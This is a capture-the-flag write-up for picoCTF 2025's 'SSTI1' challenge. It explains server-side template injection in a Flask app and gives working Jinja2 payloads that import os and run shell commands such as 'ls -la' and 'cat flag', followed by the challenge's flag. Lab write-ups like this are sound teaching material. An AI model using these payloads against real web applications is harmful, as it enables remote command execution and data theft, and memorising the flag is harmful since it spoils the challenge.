SSTI1
Name: SSTI1 Description: I made a cool website where you can announce whatever you want! Try it out! I heard templating is a cool and modular way to build web apps! Check out my website here! Author: Venax Tags: Easy, General Skills, picoCTF 2025, browser_webshell_solvable Challenge from: picoCTF 2025 Hints: 1. Server Side Template Injection
Theory
According to the description, to get the flag we'll have to see a website that displays your announcements or something like that. And because the challenge is literally called "Server Side Template Injection 1", I'd go out on a limb and say that we have to send in some template code to the announcer to get the flag probably somewhere around in the site files. Before doing anything we'll use config template to know with what type of server we are dealing with:
{{config}}
Solution
So we'll open the website and enter the config command:

Although I don't know much about server configurations, and what we just got is just gibberish to me, so I'm just gonna forward it to an AI that actually knows what we're dealing with, and don't panic! I'm not gonna transform into an AI bro, it's just this one singular time that I really don't know what these server values or whatever this mess means:
Chatbot YOU: What type of server is this? [...] BOT: That looks like the configuration output of a Flask server (a Python web framework).
Okay, so now that we know this is flask, a python framework integrated to web development, we can use self to import in python like:
{{ self.__init__.__globals__.__builtins__.__import__('os') }}
And that means that we can just use the command like a shell, just need to put the part to say we are executing commands and we get this command, that will execute the ls -la
of a linux shell, which we can use like in the image below:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls -la').read() }}

We can also go into Ctrl+U to view the source, because between the big text, and the fact that the spaces and new lines are all messed up because of HTML, view source is definitely a much better option:

And now that we know the name of the file with the flag, we can use this command, which is just like before, but using the linux command cat to print the contents of the flag file:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag').read() }}

And the flag is:
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_ae48ad61}
There we go! That's the flag.
I rated this level as "good"! :3
https://play.picoctf.org/practice/challenge/492